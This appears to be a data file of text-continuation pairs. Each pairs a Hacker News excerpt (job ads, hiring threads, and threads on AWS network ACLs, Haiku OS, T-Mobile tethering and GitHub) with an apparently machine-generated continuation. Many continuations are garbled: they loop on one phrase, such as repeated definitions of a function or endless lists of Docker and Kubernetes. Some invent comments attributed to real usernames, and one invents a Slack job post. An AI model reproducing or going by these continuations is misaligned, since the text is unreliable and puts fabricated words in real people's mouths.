cluster setup and deploy and more.\n\nAs a company,"} +{"output_text": " do =\n **************\n \n\nArmada is a small, fast-growing, VC-backed startup in Boston. We're building\na platform for building and deploying machine learning models. We're looking\nfor a senior software engineer to join our team.\n\nWe're looking for someone who is comfortable with a wide range of technologies\nand has a strong interest in building scalable systems. We're using Python,\nDjango, and Postgres, but we're open to", "input_text": " genetic data analysis, as well as developing the\ninfrastructure necessary to manage the efficient operation of those workflows.\n\nThis role will involve working as part of the HGI team to deliver working\nsystems that produce analytical outputs for human genetics faculty research\ngroups within the Sanger. Team members will be expected to produce quality\ncode; to be able to work both independently and closely with colleagues to\ndevelop, debug, and optimize their code; and to be comfortable communicating\ndirectly with scientific researchers regarding requirements.\n\n------\nsylvainkalache\nHolberton School | San Francisco | Software Engineer | ONSITE - Full-time\n\n=== Who We Are === A 2-year alternative to college training Full Stack\nSoftware Engineers using a peer-learning and project-based approach: no formal\nteachers, no lectures, students learn by practicing and collaborating with\npeers.\n\nWe are a team of 6, moving fast and positively impacting people's life.\n\n=== Who We Are Looking For === We are looking for a generalist Software\nEngineer to work on our tools and curriculum: -Tools: website, intranet, auto-\nreview system and a bunch of other small tools -Curriculum: design, write and\nimplement correction for projects given to the students\n\nThe job is both about interacting with software but also with humans (our\nstudents and mentors who are helping us building the curriculum)\n\nThe interview process is short and is focusing on passion and execution.\n\n=== Interested? === Shoot an email to sylvain@holbertonschool.com\n\n------\nspeek\nArmada - [http://armada.ai](http://armada.ai) \\- Cambridge/Boston ONSITE\n\n \n \n **************\n = What we"} +{"output_text": "1]\n\n1\\. A set is a collection of objects.\n\n2\\. A function is a relation between sets.\n\n3\\. A relation is a set of ordered pairs.\n\n4\\. A relation is a subset of a Cartesian product.\n\n5\\. A function is a subset of a Cartesian product.\n\n6\\. A function is a subset of a Cartesian product.\n\n7\\. A function is a subset of a Cartesian product.\n", "input_text": "\n------\nEJTH\nRediculus. This paranoia has to end. I don't know wether people in general\nhave a fear of being stalked by a racing FPV with a shoddy CMOS camera at the\nbeach, or if they fear some lunatic strapping a handgrenade to one.\n\nFPV is pretty much what makes drones fun to use, I don't see why you would\noutright ban \"drones\" instead of just making regulations as to where you can\nfly with a camera.\n\nEU will practically ban drones too in the near dystopian future.\n[https://www.youtube.com/watch?v=hCyiO6shKGI](https://www.youtube.com/watch?v=hCyiO6shKGI)\n\n------\ngnicholas\nI wonder how would this ruling apply to:\n\n(1) drones with cameras that can be used for both navigation and for capturing\nvideo, but which the operator only uses for navigation\n\n(2) drones with cameras that can only be used for navigation and are viewable\nby the operator in real-time\n\n(3) drones with cameras that are used primarily for autonomous stabilization\n(Parrot Mini Cargo has one) but can also be used to capture photos\n\n------\nkwhitefoot\nSo long as no one is allowed to have them that's fine. No one at all, not the\npolice, not the kommune, not the secret service, not the army, absolutely no\none.\n\n------\nwcummings\nIf it doesn't have a camera, is it really even a drone? Should just say\nthey've banned drones.\n\nGood fucking riddance imo.\n\n \nSome Fundamental Theorems in Mathematics ["} +{"output_text": " enable proper price\ncompetition in a field of fat commissions. Join a small, agile, and fast-\ngrowing team, in our beautiful office in St. Katharine Docks. If our US\nlocation tickles your fancy, you get to help setting up a brand new office\ntoo.\n\nSmarkets develops a reliable, low-latency, highly concurrent betting exchange\nbased on trading exchange designs. We're also building a fast, modern web\ninterface to allow for", "input_text": "n@repspark.com with applications or questions. We'd love to hear\nfrom you!\n\n------\nmoondistance\nHaskell Lovers Stealth Co. | Software Engineer | Menlo Park, CA | Full-time |\nOnsite\n\nVery well-funded startup seeking fellow Haskellers who would also enjoy coding\nexclusively in Haskell. Seeking all levels of experience (multiple positions).\n\nExperienced team working on an exciting product. Competitive compensation.\n\nInterested in chatting? Email eulerconstantine@gmail.com\n\n------\ntyre\nSeneca Systems (YC S16) | Full-stack, front-end, database engineers | Redwood\nCity, CA | ONSITE -\n[http://seneca.systems/careers](http://seneca.systems/careers)\n\nSeneca Systems provides cloud-based software that empowers city managers and\ngovernment workers to provide outstanding service to citizens and communities.\nRomulus, our flagship product, helps local government workers to manage\ncasework and be the system-of-record for city data.\n\nCities and local governments across the country\u2014like San Jose, Sacramento,\nBoston, Chicago, Houston, and Miami\u2014depend on Romulus to make government run\neffectively.\n\nStack: Ember => Ruby/Rails and Elixir/Phoenix => Postgres\n\n[http://seneca.systems/careers](http://seneca.systems/careers)\n\n[https://romuluscrm.com](https://romuluscrm.com)\n\n------\nbostik\nSmarkets | Full Time | ONSITE (London, UK; now also Santa Monica, California)\n\nWe're a modern betting exchange, going technology first to"} +{"output_text": "hioscar.com/about/jobs/13255?gh_jid=13255)\n\nSenior Site Reliability Engineer (NYC)\n[https://www.hioscar.com/about/jobs/13256?gh_jid=13256](https://www.hioscar.com/about/jobs/13256?gh_jid=13256)\n\nSenior Software Engineer (NYC)\n[https://", "input_text": "trump, isn't this a great opportunity for Australia to steal some talent.\n\nAlso didn't Trump tell Turnbull that he is an idiot for asking him to take\n2000 refugees when he just signed the anti-muslim order?\n\n~~~\nsamrobertonrokt\nSponsoring engineers to come to Australia is definitely possible -- and in\nfact we've done it in the past for certain roles. But, as in some other\ncountries, it does come with the caveat that you need to be able to justify\nthe sponsorship with evidence that it's not possible to find anyone who could\ndo the role and who already has the right to work in Australia.\n\nWe're pretty open about what sort of candidates we'd consider: we're looking\nfor good engineers to join the team, and are willing to accept that that means\nthat we might have to spend some time and effort training them up in the\ntechnologies we use, etc. I think that's a great attitude for us to have. But\nit does make it pretty difficult for us to turn around and tell the government\n\"we have to bring this specific individual from overseas because no Australian\nhas the exact skillset we need for this role\".\n\n------\nErinSlack\nOscar Insurance is a startup using technology, data & design to change the way\npeople find and access care. We are disrupting the healthcare industry by\nputting people first, not business and cost. www.hioscar.com W e're currently\nhiring for a variety of Full-time/Onsite roles here in our New York City\nlocation.\n\nSite Reliability Engineer (NYC)\n[https://www.hioscar.com/about/jobs/13255?gh_jid=13255](https://www."} +{"output_text": " you can have a single ACL that allows all traffic\nfrom a particular source to a particular destination.\n\n------\njedberg\nI'm not sure if this is a bug or a feature.\n\nI have a bunch of VMs that I want to be able to access from the internet. I\nhave a bunch of security groups that allow them to access the internet.\n\nI want to be able to access them from the internet, but I don't want to allow\n", "input_text": " Groups (which\nare more stateful in nature)._\n\nI inherited an infrastructure that had NetACLs and security groups with\nduplicate entrypoints and policies, years of accumulated cruft because it was\npoorly designed and the documentation was even worse (read: nonexistent),\nsecurity groups all the way down. That one threw me through a hard and\nannoying mental loop for a couple of hours until picking through with the\nfinest tooth comb revealed what was going on.\n\nThe fun part is going to be rebuilding our routing in a new VPC such that it\ndoesn't make the next guy want to put his head in a black hole.\n\nI'd be lying if I said it wasn't a fun challenge in a sordid kind of way,\nthough.\n\n~~~\nAmericanChopper\nI guess it\u2019s a matter of preference, but I strongly prefer security groups\nover ACLs, which I don\u2019t use at all. Even if only from a compliance\nperspective, a security group is equivalent to a host firewall (which\npersonally helps me with PCI - no need for iptables and windows firewall).\nWhereas an ACL is a bit harder to make that case with. I also find them easier\nto audit.\n\n~~~\njavadocmd\nI like using ACLs for my coarse-grained \"this subnet is allowed to talk to\nthis subnet\" rules, and security groups for everything finer-grained. Maybe\nI'm over-cautious, but I don't want one rogue security group opening up a\ntunnel to sensitive subnets.\n\n~~~\najbourg\nYes, this is one of the best reasons to use network ACLs. (You can also\nachieve this with routes)\n\nI think the idea is that"} +{"output_text": ".)\n\n------\njmathai\nI'm not sure if this is the right place to ask this but I'm curious if anyone\nhas any experience with the Archive Team and their efforts.\n\nI'm a developer and I'm interested in helping out with the Archive Team.\n\n~~~\nnucleardog\nI'm a developer and I'm interested in helping out with the Archive Team.\n\nI'm not sure if this is the right place to ask this but I'm", "input_text": " - jmathai\n\nTL;DR

Posterous is shutting down in a week and the Archive Team needs more time else 1.3 million blogs will essentially disappear.

--

I've been following an exchange between Jason Scott (Archive Team / Internet Archive) and Sachin Agarwal (Posterous) [1].

It appears that Posterous gave the Archive Team some dedicated servers to hit but it wasn't sufficient to download the amount that's going to be deleted.

I don't know all of the details but saving content to a historical archive is invaluable. Offering the ability for users to download their content is great but it serves a very different purpose than what the Archive Team and Internet Archive does.

Additionally, it's certain that much of the content will disappear because users didn't receive the shutdown email, 30 days wasn't long enough or simply didn't bother to do anything. The public content there is still valuable.

[1] https://twitter.com/agarwal/status/327153883237453825\n======\nddorian43\nEveryone who wants to help can install the Archive Team Warrior.\n\nThe ArchiveTeam Warrior is a virtual archiving appliance. You can run it to\nhelp with the ArchiveTeam archiving efforts.\n\n\n\n~~~\nnucleardog\nInstalled and running. It's a quick download. If you already have some sort of\nVM software installed, getting it running is pretty painless.\n\n(VMware said it wasn't compatible, but gave me the option to retry import with\nrelaxed restrictions. I had to move the second (scratch) disk from Secondary-\nSlave to Secondary-Master, but it came up no problem"} +{"output_text": "------\njrockway\nI'm not sure I understand the point of this article. It's not like the\nanaconda is going to be able to tell the difference between a human and a\ncomputer.\n\n~~~\njrockway\nI guess I should have said \"computer\" instead of \"human\".\n\n------\njrockway\nI'm not sure I understand the point of this article. It's not like the\nanaconda is going to be able", "input_text": " actual mating any easier :p but it puts a lot of\nperspective into it.\n\n------\njff\nDidn't Sir Mix-a-Lot already formulate this as \"My anaconda don't want none\nunless you've got buns, hon\"?\n\n------\nGroxx\nAt the risk of sounding snobbish, brains turn me on _way_ more than bodies.\nBrains last, bodies go pretty quickly.\n\nMaybe I'm just poorly reward-motivated, though. My wife and I effectively\nlived together for 3 years before getting married, and we both waited until\nmarriage for sex.\n\n~~~\ncsytan\n\n Brains last, bodies go pretty quickly.\n \n\nNeither last without constant care & maintenance.\n\n~~~\nGroxx\nGranted, but the stereotypical \"ideal\" body simply doesn't last through a\nlifetime, no matter how it's maintained, though a mind can last through even\nthe longest life.\n\n------\nmetamemetics\nnews: Scientists Discover That People Think That Things That They Think Are\nGood Are Good.\n\n------\nswernli\nInterestingly enough, Waist-to-Hip Ratio (WHR) has come up here before:\n\n\n------\nfibonacci\nI kinda' prefer the golden ratio, myself. NSFW:\n[http://www.reddit.com/r/nsfw/comments/9v6zt/curvy_in_all_the...](http://www.reddit.com/r/nsfw/comments/9v6zt/curvy_in_all_the_right_places_follows_the_golden/)\n\n"} +{"output_text": " T-Mobile and I've never heard of this. I've never had to worry about\ndata caps.\n\n~~~\nStavrosK\nI'm on T-Mobile too, and I've never heard of this either. I've never had to\nworry about data caps.\n\n------\njoshstrange\nI'm not sure if this is a good thing or not. I'm not sure if I would want to\nbe throttled for using a hotspot", "input_text": "/Files/ASA/Hot%20Topics/Broadband%20hot%20topic.ashx)\n\nAll you can do is keep sending complaints and encourage others to keep sending\ncomplaints. They do, apparently, occasionally take notice of complaints.\n\n------\nbriantakita\nLabeling people as thieves is manipulative & hypocritical when the marketing\nliterature claims \"unlimited\" data.\n\nAll TMobile needs to do is tell the truth & have a reasonable plan for high\nbandwidth customers. Instead they treat these customers like criminals & turn\ninto the data gestapo.\n\nIn the meantime, TMobile seems to be quite profitable.\n\n[http://www.wsj.com/articles/t-mobile-raises-subscriber-\ngrowt...](http://www.wsj.com/articles/t-mobile-raises-subscriber-growth-\noutlook-1438257047)\n\n------\njoezydeco\nWait - so TMO monitors your data usage and throttles you down when you exceed\nyour cap on a _phone_, but doesn't do this for hotspots and trusts the\nhotspot to police the data cap?\n\n~~~\nStavrosK\nNo, I think the phone sends a certain bit to their servers when you're\ntethering, to say \"this data is from tethering\", and they only allow a certain\ncap for that. These \"omg hackers\" found a way to prevent that bit from being\nsent, forcing the carrier to make good on their promise of \"unlimited data\",\nwhich the carrier doesn't want to do.\n\n~~~\nmmcclure\n> forcing the carrier to make good on their promise of \"unlimited data\"\n\nI'm on"} +{"output_text": "CP, AWS, Docker, Kubernetes, Terraform, Ansible,\nKubernetes, Terraform, Docker, Kubernetes, Terraform, Docker, Kubernetes,\nTerraform, Docker, Kubernetes, Terraform, Docker, Kubernetes, Terraform,\nDocker, Kubernetes, Terraform, Docker, Kubernetes, Terraform, Docker,\nKubernetes, Terraform, Docker, Kubernetes, Terraform, Docker, Kubernetes,\nTerraform", "input_text": "\n\nWilling to relocate: No, but open to travel\n\nTechnologies: Python, Django, Celery, Scrapy, ReactJS, React Native, RabbitMQ,\nDocker, RESTFful APIs, AWS, Postgres, GraphQL, C#,.NET\n\nR\u00e9sum\u00e9/CV:\n[https://stackoverflow.com/cv/varunpsr](https://stackoverflow.com/cv/varunpsr)\n\nEmail: varun.rathore@outlook.com\n\n------\nJd\n\n Location: Moscow\n \n Remote: Yes \n \n Willing to relocate: Yes\n \n Technologies: Javascript, Solidity, Ruby, Enterprise Stack, Haskell, Java\n \n R\u00e9sum\u00e9/CV: https://github.com/fractastical/distributed-governance/blob/master/my_experiments.md\n \n Email: joel@swarm.com\n\n------\ngerosan\nLocation: Ohio (but don't want to stay here)\n\nRemote: Not required\n\nWilling to relocate: Prefer to (Western Region of US)\n\nTechnologies: Swift, Java, Kotlin, ARKit, ARCore\n\nR\u00e9sum\u00e9/CV: Ask me on LinkedIn\n\nEmail: Connect with me on LinkedIn\n\n[https://www.linkedin.com/in/sorianog/](https://www.linkedin.com/in/sorianog/)\n\n------\nfishbone\nLocation: South East US\n\nRemote: yes\n\nWilling to relocate: no\n\nTechnologies: 15 years of full stack web development - Go, Node, C#, Vue,\nReact, SQL, Azure, G"} +{"output_text": ")\n\n------\njosteink\nI\u2019m not sure if I\u2019m missing something, but I\u2019m not seeing any mention of\nHaikuOS on the front page.\n\n~~~\ntossaway44\nIt\u2019s not on the front page, but it\u2019s on the front page of the Haiku website:\n[https://www.haiku-os.org/](https://www.haiku-os.org/)\n\n------\nt", "input_text": "arm/](https://download.haiku-\nos.org/nightly-images/arm/)\n\nIt's even buggier than the x86 version though, and you don't have any software\nbeyond what you compile for it yourself.\n\n~~~\ntossaway44\nI thought the ARM version didn\u2019t have a GUI yet...\n\n~~~\ndeaddodo\nThe Application Server is in progress, but it builds. The problem is that on\nx86, you can fall back on the BIOS w/ VESA to display video; while ARM lacks\nthat functionality. If you can find/build a video driver it should Just\nWork(tm).\n\nYou can see the current video drivers here:\n\n[https://github.com/haiku/haiku/blob/master/build/jam/images/...](https://github.com/haiku/haiku/blob/master/build/jam/images/definitions/regular#L205)\n\nWhich are all x86/amd64-based. The RPi would actually be relatively simple to\nthrow a framebuffer video driver together for, though:\n\n* [https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/s...](https://www.cl.cam.ac.uk/projects/raspberrypi/tutorials/os/screen01.html)\n\n* [https://github.com/raspberrypi/firmware/wiki](https://github.com/raspberrypi/firmware/wiki)\n\n* [https://github.com/dwelch67/raspberrypi/tree/master/video01](https://github.com/dwelch67/raspberrypi/tree/master/video01"} +{"output_text": " better?\n\n~~~\njamesbritt\n\"People are so lazy\" is a common refrain, but it's not true.\n\nI've been working a lot less than I used to, and I'm not lazy. I'm just\nfocused on the things that matter to me.\n\nI've been working less because I've been able to find work that I enjoy, and\nI've been able to spend more time with my family.\n\nI've been working", "input_text": " white collar workers in the Netherlands. Four days\nis more than enough for me.\n\n------\nmadspindel\n\"In thirty years America will be a post-industrial society with a per capita\nincome of $ 7,500. There will be only four work days a week of seven hours per\nday. The year will be comprised of 39 work weeks and 13 weeks of vacation.\nWith weekends and holidays this makes 147 work days a year and 218 free days.\nAll this within a single generation.\"\n\nFrom The American Challenge by Jean Jacques Servan-Schreiber published in\n1967. Too bad this will never happen since most managers are workaholics.\n\n~~~\nbenjohnson\nI'm my estimation - you can almost live this way if you limit your\nexpectations to someone from 1967 - limited food choices, single car, small\nhome, frugal car-based vacations and heathy living.\n\n~~~\nesturk\nFunny you added 'healthy living' at the end. It makes you wonder why people\nwould live beyond their means to be unhealthy.\n\n~~~\nsokoloff\nBecause people are terrible at accounting for the future. Shows up in diet,\nexercise, personal finance, and probably a bunch of other places.\n\n------\nfrankbreetz\nThere us nothing to disagree with here, but I feel like America is so far to\nthe right that an idea like this will be answered with \"people are so lazy\"\nand \"you signed a contract\" or something similarly ridiculous. My response to\nall this is wasn't the goal of our forefathers to give us a better life?\nDoesn't that mean less hours working? Even if my parents grew up in the best\neconomic period of the past thousand years, shouldn't my life be"} +{"output_text": " so much that the upvotes are killed.\n\n------\nonur\nWe are a small team of developers and designers. We are not a lot interested\nin SMS/USSD since it's really under control of operators, but would like to\ninvest more in exchanging data using 3G/4G networks.\n\nIt's really a good idea to trigger rules when an app is not used after a\ncertain period of time. Will think on it :)\n\n------\n", "input_text": ". We are not a lot\ninterested in SMS/USSD since it's really under control of operators, but would\nlike to invest more in exchanging data using 3G/4G networks.\n\nIt's really a good idea to trigger rules when an app is not used after a\ncertain period of time. Will think on it :)\n\n~~~\nParseco\n(thumbsup!) :)\n\n~~~\nonur\nIt would be interesting to play with your API since Countly team is composed\nof all telco professionals :)\n\n------\nkenrikm\nIt's cool, I'm interested in trying it out.\n\nRethink the use of Lobster as your logo/text font a bunch of different\ncompanies Including Codecademy and HireAry use it. So it's Generic at best.\n\n~~~\nonur\nThanks for pointing that out. I'm pretty sure our co-founder/designer Osman\nknows about this but anyways being unique is always better :)\n\n \n\nAbusing Contributors is not OK - joeyh\nhttp://www.curiousefficiency.org/\n\n======\npolemic\nLet's add: flag killing [the original, multi-upvoted front page] links to\narticulate and well reasoned pieces about why abusing contributors is not OK,\nis not OK.\n\n~~~\ndang\nWe've unkilled that post and are burying this one as a duplicate.\n\n~~~\nmjg59\nYou've unkilled that post, but left it buried on the third page.\n\n~~~\ndang\nYes, what we usually do when there is a tug of war between upvotes and flags\nis prevent the flags from killing the post so active discussion can continue,\nbut not"} +{"output_text": "times?\n\n~~~\npclark\nI think you're looking at the wrong thing.\n\nThe bandwidth costs are based on the amount of data you upload and download.\n\nThe bandwidth costs are based on the amount of data you upload and download.\n\nThe bandwidth costs are based on the amount of data you upload and download.\n\nThe bandwidth costs are based on the amount of data you upload and download.\n\nThe bandwidth costs are based on the amount of data", "input_text": " here, we recommend printing them out, sitting by\na fireplace, and reading them in Morgan Freeman\u2019s voice: \"\n\nLike a twinkie, like a twinkie.\n\n------\nTichy\nOk, nice enough, but why would I mail my private thoughts to the cloud?\nWriting a small script that mails a random email by me to myself should be\neasy enough.\n\n------\nyeti\nWell done, great concept and already I see a practical use for it in my life\n(tracking a new fitness program)\n\nThanks guys\n\n------\nchamza\nLove the idea. Good work fellas\n\n------\nfaramarz\nVery cool. Does that mean YC has a vested interest in your side project?\n\n------\nsomeone_here\nMay I ask how this is different from, say, private wordpress.com blogs?\n\n~~~\npclark\nI think they clearly articulate this on the home page\n\n \nAmazon S3: New pricing model - unfoldedorigami\nhttp://blogs.smugmug.com/don/2007/05/01/amazon-s3-new-pricing-model/\n======\nvlad\nAdditional info (from the e-mail I received) in case anybody cares:\n\n\"P.S. Please note that the reduced bandwidth rates shown above will also take\neffect for Amazon EC2 and Amazon SQS. The bandwidth tier in which you will be\ncharged each month will be calculated based on your use of each of these\nservices separately, and could therefore vary across services.\"\n\n------\nyaacovtp\nCan anyone tell me what bandwidth costs a month once you need over a terabyte\na month? How would you host a 5-10 mb movie that may be viewed millions of\n"} +{"output_text": " HN.)\n\nIf you're interested, email me at kristopolous@waivecar.com\n\n------\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a full-stack engineer to join our team.\n\nWe are a small team of engineers and designers who are building the future of\ncommunication. We are looking for someone who is passionate about building\ngreat", "input_text": " enable all software\ndevelopers to build sophisticated AIs without having AI expertise. We're\nheadquartered in Berkeley, CA, but are currently hiring for the position of\nBackend Engineer out of our Seattle office.\n\nOur Backend Team has a need for an engineer with strong programming skills and\nthe ability to write quality production code. Responsibilities in this\nposition will include:\n\n* Design and implement scalable, highly available software services in Python.\n\n* Build and improve infrastructure automation.\n\n* Monitor, diagnose and fix production issues.\n\nOur ideal candidate has the following:\n\n* At least 3-5 years of industry experience as a Software Engineer or similar.\n\n* Familiarity with Docker or other containerization technologies.\n\n* Proficiency with a general purpose language like Python or C++.\n\n* Experience working with Linux and cloud platforms (AWS, etc).\n\nIf interested, send a resume to jobs@bons.ai.\n\n------\nkristopolous\nWaiveCar | Software Engineer | Santa Monica, Los Angeles, California | ONSITE\n| [http://waivecar.com](http://waivecar.com)\n\nWaiveCar is a free-to-use advertising based on-demand all-electric car-rental\nservice. We're looking for a senior engineer with experience in small-shop\nstartups. The tech is javascript/mobile app/etc...\n\nWe are expanding via a partnership with Hyundai to multiple cities soon. If\nyou want to be in early where the action is, this is the juice. We've got\ncompetitive salary/options/benefits, all the good stuff. It's fully funded and\ncash flow positive. (I'm the guy who wrote the filtering script that's\nmentioned every month in"} +{"output_text": "'s not a GitHub issue, it's a general issue with the way the web works.\n\n------\njoshu\nI'm not sure I agree with the premise.\n\nI think the problem is that the \"500 lines\" is a bad metric. It's a\nmeasurement of the number of lines of code in the project, not the number of\nlines of code that are actually useful.\n\nI think the real metric is \"how many lines of code are actually", "input_text": "ius\nOfftopic. Why, in github, is the README always below the repository files, if\nthe first thing you want to read about a project is the README?\n\nEdit: Could we take the convention on HN to always link to the README in a\ngithub repo? In this case that would be:\n\n[https://github.com/aosabook/500lines/blob/master/README.md](https://github.com/aosabook/500lines/blob/master/README.md)\n\n~~~\nmarssaxman\nI considered Github links to be essentially content-free noise for several\nyears because I did not know about their \"README.md\" convention. I think that\npeople who live and breathe github probably don't realize how confusing their\ninterface can be to a newcomer.\n\n~~~\nmjrbrennan\nYou didn't think to just scroll down?\n\n~~~\nmarssaxman\nI didn't know to scroll to the bottom, as I had never used github and was\nunfamiliar with its interface. I thought it was basically just a prettier\nversion of the classic auto-generated \"index\" page for a directory, so it\ndidn't occur to me that there would be more to it than the file list if I\nscrolled down.\n\n~~~\npc86\n> _I didn 't know to scroll to the bottom_\n\nIf only there was some sort of bar that could indicate your relative position\non the page. Maybe in the same spot on all websites to make it easy to see.\nMaybe even part of the browser!\n\nIn all seriousness this seems much less a GitHub issue and much more about how\nwell you computers.\n\n~~~\nmarssaxman\nIt"} +{"output_text": "act with external APIs, especially Twitter, Facebook, and Instagram. \\-\nDeveloping software features that leverage external APIs, especially Twitter,\nFacebook, and Instagram. \\- Developing software features that leverage\nexternal APIs, especially Twitter, Facebook, and Instagram. \\- Developing\nsoftware features that leverage external APIs, especially Twitter, Facebook,\nand Instagram. \\- Developing software features that leverage external APIs,\nespecially Twitter, Facebook, and Instagram. \\- Developing software features\nthat leverage external", "input_text": " | Software Engineer | Mumbai | ONSITE, REMOTE, INTERNS |\nwww.smokescreen.io\n\nSmokescreen brings military deception tactics to cybersecurity. We hire\nrockstar software engineers and then get out of their way.\n\n \n \n - Python, Node.js, GoLang, C#\n - AngularJS, ReactJS\n - UNIX (BSD experience is a plus)\n \n\nApply here:\n[https://www.smokescreen.io/careers/](https://www.smokescreen.io/careers/)\n\n------\nRossSheingold\nCycle | Los Angeles, CA | Onsite | Full-time | Full-stack software engineer |\nCompetitive salary, unlimited PTO, 401(k)|\n[http://cycle.media](http://cycle.media)\n\nCycle seeks a Full-stack software engineer to own the entire software\ndevelopment and deployment process. You should have a passion for all things\nsocial and extensive knowledge in leveraging external APIs. You will\ncollaborate with the Chief Innovation Officer to develop and implement an\nefficient internal database. A successful candidate will have in-depth\nunderstanding of and experience with:\n\n\\- Developing software features using object-oriented programming in Ruby, and\nthe popular web framework Ruby on Rails. \\- Developing software features using\ntemplating languages ERB and Mustache. \\- Developing software features using\nrelational databases (specifically Postgres), as well as database maintenance\n& migrations. \\- Developing software features using various data stores,\nespecially Redis, and usage patterns relevant to job queues. \\- Developing\nsoftware features leaveraging threaded environments, especially with relation\nto Sidekiq and background job processors. \\- Developing software features that\ninter"} +{"output_text": "health.com/best-digital-health-\ncompanies/](https://rockhealth.com/best-digital-health-companies/)\n\n[2] [https://www.glassdoor.com/Award/Best-Digital-Health-\nCompanies...](https://www.glassdoor.com/Award/Best-Digital-Health-Companies-\nEdition-E11_KO0,18.htm)\n\n[3] [https", "input_text": "205540-android-developer)\n\n------\nhackernews\nGrand Rounds | Sr. Software Engineer | San Francisco, CA USA |\n[https://www.grandrounds.com](https://www.grandrounds.com)\n\nGrand Rounds was recently named Best Digital Health Company to Work For[1] by\nRock Health, and is currently recognized by Glassdoor's as the #2 Best Places\nto Work[2].\n\nWe are also represented on Wealthfront's Career Launching Companies[3] for the\nsecond year in a row and are looking for talented Software Engineers to join\nour mission.\n\nYou'll be embedded in an agile team tasked with business problems to solve and\na solid, well built platform to leverage. We believe in empowerment through\nautonomy. We employ a services oriented platform[4] primarily utilizing Rails\non the back-end and React on the front-end. Every new Engineer delivers code\nfrom day one.\n\nWe're specifically looking for talented Engineers with strong architectural\npattern knowledge (Fowler is your preferred bedtime reading). You're familiar\nwith the concerns of MVC, perhaps with the Redux pattern. You've used Backbone\nto create front end frameworks, can talk web standards and best practices. You\nknow why accessibility is important, and have a desire to learn about building\nsecure applications. You can debate for hours on microservice vs monolithic\napplications and can sniff out code smell and recognize anti-patterns from a\nmile away.\n\nHere at Grand Rounds we are literally saving lives through our technology and\nservices, it's rewarding work. Email me at brett@grandrounds (mention\nHackerNews) or visit our website[5] to view and apply to open opportunities.\n\n[1] [https://rock"} +{"output_text": " security concerns\n> that require Administrators have the ability to immediately lock users out\n> of the system or be able to audit recent activity. AD/LDAP facilitates this.\n\nI don't understand why you're saying this. If you're using AD/LDAP, you're\nalready doing this.\n\n> Standardization of processes and training can reduce training time\n> considerably. For industries with high turnover, this can make a difference.\n\nI don't understand why", "input_text": " with them. You either figure\nout how to use the computer they give you, or you don't, in which case why\nshould they employ you? Computers are a basic skill.\n\n~~~\ndrankula3\n> Why do you need Active Directory or LDAP?\n\nPrimarily authentication, authorization, and accounting[0]. Setting up a new\nuser account on every single computer that an employee may at some point sit\nat gets very expensive. Many businesses (if not immediately then eventually)\nhave security concerns that require Administrators have the ability to\nimmediately lock users out of the system or be able to audit recent activity.\nAD/LDAP facilitates this. It can also automate standard settings like network\ndrives, screen lockout settings, homepages, and all sorts of other settings.\n\n> You either figure out how to use the computer they give you, or you don't\n\nStandardization of processes and training can reduce training time\nconsiderably. For industries with high turnover, this can make a difference.\nYou've gotta remember, not everyone is a knowledge worker. Tons of people are\nmore like cogs in the machine of the company, which isn't necessarily a bad\nthing.\n\n[0]\n[https://www.techopedia.com/definition/24130/authentication-a...](https://www.techopedia.com/definition/24130/authentication-\nauthorization-and-accounting-aaa)\n\n~~~\nninkendo\n> Primarily authentication, authorization, and accounting[0]. Setting up a new\n> user account on every single computer that an employee may at some point sit\n> at gets very expensive\n\nWhy are people using more than one machine?\n\n> Many businesses (if not immediately then eventually) have"} +{"output_text": " infrastructure to a new platform is\ngoing to be cheaper than the cost of maintaining the old platform is\nridiculous.\n\n~~~\nsciurus\nI'm not sure what you mean by \"migrating the entire infrastructure to a new\nplatform\". The datacenter is a physical place, and the infrastructure is\nphysical equipment.\n\n~~~\nevgen\nI mean that the cost of maintaining the old platform is going to be higher\nthan the cost of migrating the entire infrastructure", "input_text": " the\nface by its continued usage of PHP.\n\nI think also that there is a difference between writing a new backend for\nsomething that is solid and in place and just throwing the whole product out\nthe window and re-imagining it from the ground up, and I think the latter is\nthe kind of rewrite that should be avoided and considered dangerous. When you\ncould throw 4-5 guys on a real C# or C++ rewrite and tell them the final\nproduct has to behave identically to the PHP version, you have a much less\nvolatile situation.\n\nAs for the PHP workflow, I agree it's nice not to have an intermediate step,\nbut that intermediate step can usually be circumvented pretty rapidly by\nthrowing a script or two (or just flipping a config option) into your\ndevelopment environment.\n\n~~~\nericd\nI think developing in PHP and compiling to C++/binary probably results in much\nhigher developer productivity than developing in C++/C# directly. Developer\nsalaries are undoubtedly their largest expense, by far, dwarfing those\nsalaries of the people who make PHP performant and 1.5 gig binary updates\nsane.\n\n~~~\nsciurus\nI expect that running their datacenters is a larger expense than developer\nsalaries.\n\n\"In 2011, $606 million was allocated towards total capital investment in data\ncenter infrastructure by Facebook, which includes the cost of servers,\nnetworking equipment, construction, and storage.\" -\n[http://www.colocationamerica.com/blog/facebook-data-\ncenter-i...](http://www.colocationamerica.com/blog/facebook-data-center-\ninfrastructure-expenditures-a-quick-analysis.htm)\n\n~~~\nevgen\nThe assumption that migrating the entire"} +{"output_text": "them.\n\n------\njoshstrange\nI'm not sure I understand the point of this. I mean, I get that it's a\nlibrary, but I don't see how it's any better than Bootstrap or Foundation.\n\n~~~\ndreyfiz\nIt's a library that's designed to be used with Bootstrap. It's not a\nreplacement for Bootstrap, but it's a great way to get started with Bootstrap\nwithout having to learn the framework.", "input_text": " are many developers\nwho are really bad at styling. They don't have a good eye for design and\nthey're trying to build a usable product, or they have an internal need, or\nwant to learn. Libraries such as these have many purposes, even if you don't\nlike them.\n\n~~~\ntomelders\nBut people will be forced to use it. That's my complaint.\n\n------\naphextron\n32,000+ stars is insane, how have I not heard of this? Does anyone have\nproduction experience with it?\n\n------\nnkkollaw\nIt looks great.\n\nHowever, I've used it in the past and the CSS size is _HUGE_, with no way to\nreduce it. We're talking about > 500KB of CSS (in my case, at least). The\nJavaScript is extremely bloated as well.\n\nHonestly, being that heavy I wonder how anyone can use it. If your site is to\nbe viewed by mobile users, adding 500KB just to style a few elements is\nunacceptable.\n\nI'd much rather go with Bootstrap. It has the added benefit of having the\nmajority of front-end devs know it, and you can buy or use a theme for free\nand make it look great.\n\n~~~\ndreyfiz\nA custom build with only the components you're using cuts the CSS size\ndramatically. You also get to specify your supported browsers, which can cut\ndown the size as well. Finally, you don't have to use their javascript, and\nnot every component requires it.\n\n~~~\nnkkollaw\nSomehow we were unable to reduce the file size to a sane level and we switch\nto another framework. I guess we needed some components and we had to load\n"} +{"output_text": ", so I guess it's a matter of\ndegree.\n\n------\njoshu\nI think the problem is that you're not really sure what 